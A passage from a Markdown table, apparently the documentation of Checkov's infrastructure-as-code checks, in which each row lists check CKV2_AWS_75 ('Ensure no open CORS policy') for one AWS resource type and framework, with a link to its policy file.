[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2883 | CKV2_AWS_75              | resource                         | aws_cloudcontrolapi_resource                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2884 | CKV2_AWS_75              | resource                         | aws_cloudcontrolapi_resource                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2885 | CKV2_AWS_75              | resource                         | aws_cloudformation_stack                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2886 | CKV2_AWS_75              | resource                         | aws_cloudformation_stack                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2887 | CKV2_AWS_75              | resource                         | aws_cloudformation_stack_instances                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2888 | CKV2_AWS_75              | resource                         | aws_cloudformation_stack_instances                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2889 | CKV2_AWS_75              | resource                         | aws_cloudformation_stack_set                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2890 | CKV2_AWS_75              | resource                         | aws_cloudformation_stack_set                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2891 | CKV2_AWS_75              | resource                         | aws_cloudformation_stack_set_instance                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2892 | CKV2_AWS_75              | resource                         | aws_cloudformation_stack_set_instance                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2893 | CKV2_AWS_75              | resource                         | aws_cloudformation_type                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2894 | CKV2_AWS_75              | resource                         | aws_cloudformation_type                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2895 | CKV2_AWS_75              | resource                         | aws_cloudfront_cache_policy                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2896 | CKV2_AWS_75              | resource                         | aws_cloudfront_cache_policy                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2897 | CKV2_AWS_75              | resource                         | aws_cloudfront_continuous_deployment_policy                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2898 | CKV2_AWS_75              | resource                         | aws_cloudfront_continuous_deployment_policy                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2899 | CKV2_AWS_75              | resource                         | aws_cloudfront_distribution                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2900 | CKV2_AWS_75              | resource                         | aws_cloudfront_distribution                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2901 | CKV2_AWS_75              | resource                         | aws_cloudfront_field_level_encryption_config                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2902 | CKV2_AWS_75              | resource                         | aws_cloudfront_field_level_encryption_config                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2903 | CKV2_AWS_75              | resource                         | aws_cloudfront_field_level_encryption_profile                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2904 | CKV2_AWS_75              | resource                         | aws_cloudfront_field_level_encryption_profile                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2905 | CKV2_AWS_75              | resource                         | aws_cloudfront_function                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2906 | CKV2_AWS_75              | resource                         | aws_cloudfront_function                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2907 | CKV2_AWS_75              | resource                         | aws_cloudfront_key_group                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2908 | CKV2_AWS_75              | resource                         | aws_cloudfront_key_group                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2909 | CKV2_AWS_75              | resource                         | aws_cloudfront_key_value_store                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2910 | CKV2_AWS_75              | resource                         | aws_cloudfront_key_value_store                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2911 | CKV2_AWS_75              | resource                         | aws_cloudfront_monitoring_subscription                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2912 | CKV2_AWS_75              | resource                         | aws_cloudfront_monitoring_subscription                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2913 | CKV2_AWS_75              | resource                         | aws_cloudfront_origin_access_control                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2914 | CKV2_AWS_75              | resource                         | aws_cloudfront_origin_access_control                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2915 | CKV2_AWS_75              | resource                         | aws_cloudfront_origin_access_identity                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2916 | CKV2_AWS_75              | resource                         | aws_cloudfront_origin_access_identity                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2917 | CKV2_AWS_75              | resource                         | aws_cloudfront_origin_request_policy                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2918 | CKV2_AWS_75              | resource                         | aws_cloudfront_origin_request_policy                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2919 | CKV2_AWS_75              | resource                         | aws_cloudfront_public_key                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2920 | CKV2_AWS_75              | resource                         | aws_cloudfront_public_key                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2921 | CKV2_AWS_75              | resource                         | aws_cloudfront_realtime_log_config                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2922 | CKV2_AWS_75              | resource                         | aws_cloudfront_realtime_log_config                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2923 | CKV2_AWS_75              | resource                         | aws_cloudfront_response_headers_policy                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2924 | CKV2_AWS_75              | resource                         | aws_cloudfront_response_headers_policy                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2925 | CKV2_AWS_75              | resource                         | aws_cloudfront_vpc_origin                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2926 | CKV2_AWS_75              | resource                         | aws_cloudfront_vpc_origin                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2927 | CKV2_AWS_75              | resource                         | aws_cloudfrontkeyvaluestore_key                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2928 | CKV2_AWS_75              | resource                         | aws_cloudfrontkeyvaluestore_key                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2929 | CKV2_AWS_75              | resource                         | aws_cloudhsm_v2_cluster                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2930 | CKV2_AWS_75              | resource                         | aws_cloudhsm_v2_cluster                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2931 | CKV2_AWS_75              | resource                         | aws_cloudhsm_v2_hsm                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2932 | CKV2_AWS_75              | resource                         | aws_cloudhsm_v2_hsm                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2933 | CKV2_AWS_75              | resource                         | aws_cloudsearch_domain                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2934 | CKV2_AWS_75              | resource                         | aws_cloudsearch_domain                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2935 | CKV2_AWS_75              | resource                         | aws_cloudsearch_domain_service_access_policy                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2936 | CKV2_AWS_75              | resource                         | aws_cloudsearch_domain_service_access_policy                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2937 | CKV2_AWS_75              | resource                         | aws_cloudtrail                                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2938 | CKV2_AWS_75              | resource                         | aws_cloudtrail                                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2939 | CKV2_AWS_75              | resource                         | aws_cloudtrail_event_data_store                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2940 | CKV2_AWS_75              | resource                         | aws_cloudtrail_event_data_store                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2941 | CKV2_AWS_75              | resource                         | aws_cloudtrail_organization_delegated_admin_account                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2942 | CKV2_AWS_75              | resource                         | aws_cloudtrail_organization_delegated_admin_account                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2943 | CKV2_AWS_75              | resource                         | aws_cloudwatch_composite_alarm                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2944 | CKV2_AWS_75              | resource                         | aws_cloudwatch_composite_alarm                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2945 | CKV2_AWS_75              | resource                         | aws_cloudwatch_dashboard                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2946 | CKV2_AWS_75              | resource                         | aws_cloudwatch_dashboard                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2947 | CKV2_AWS_75              | resource                         | aws_cloudwatch_event_api_destination                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2948 | CKV2_AWS_75              | resource                         | aws_cloudwatch_event_api_destination                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2949 | CKV2_AWS_75              | resource                         | aws_cloudwatch_event_archive                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2950 | CKV2_AWS_75              | resource                         | aws_cloudwatch_event_archive                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2951 | CKV2_AWS_75              | resource                         | aws_cloudwatch_event_bus                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2952 | CKV2_AWS_75              | resource                         | aws_cloudwatch_event_bus                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2953 | CKV2_AWS_75              | resource                         | aws_cloudwatch_event_bus_policy                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2954 | CKV2_AWS_75              | resource                         | aws_cloudwatch_event_bus_policy                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2955 | CKV2_AWS_75              | resource                         | aws_cloudwatch_event_connection                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2956 | CKV2_AWS_75              | resource                         | aws_cloudwatch_event_connection                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2957 | CKV2_AWS_75              | resource                         | aws_cloudwatch_event_endpoint                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2958 | CKV2_AWS_75              | resource                         | aws_cloudwatch_event_endpoint                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2959 | CKV2_AWS_75              | resource                         | aws_cloudwatch_event_permission                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2960 | CKV2_AWS_75              | resource                         | aws_cloudwatch_event_permission                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2961 | CKV2_AWS_75              | resource                         | aws_cloudwatch_event_rule                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2962 | CKV2_AWS_75              | resource                         | aws_cloudwatch_event_rule                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2963 | CKV2_AWS_75              | resource                         | aws_cloudwatch_event_target                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2964 | CKV2_AWS_75              | resource                         | aws_cloudwatch_event_target                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2965 | CKV2_AWS_75              | resource                         | aws_cloudwatch_log_account_policy                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2966 | CKV2_AWS_75              | resource                         | aws_cloudwatch_log_account_policy                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2967 | CKV2_AWS_75              | resource                         | aws_cloudwatch_log_anomaly_detector                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2968 | CKV2_AWS_75              | resource                         | aws_cloudwatch_log_anomaly_detector                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2969 | CKV2_AWS_75              | resource                         | aws_cloudwatch_log_data_protection_policy                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2970 | CKV2_AWS_75              | resource                         | aws_cloudwatch_log_data_protection_policy                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2971 | CKV2_AWS_75              | resource                         | aws_cloudwatch_log_delivery                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2972 | CKV2_AWS_75              | resource                         | aws_cloudwatch_log_delivery                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2973 | CKV2_AWS_75              | resource                         | aws_cloudwatch_log_delivery_destination                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2974 | CKV2_AWS_75              | resource                         | aws_cloudwatch_log_delivery_destination                                                          | Ensure no open CORS policy                     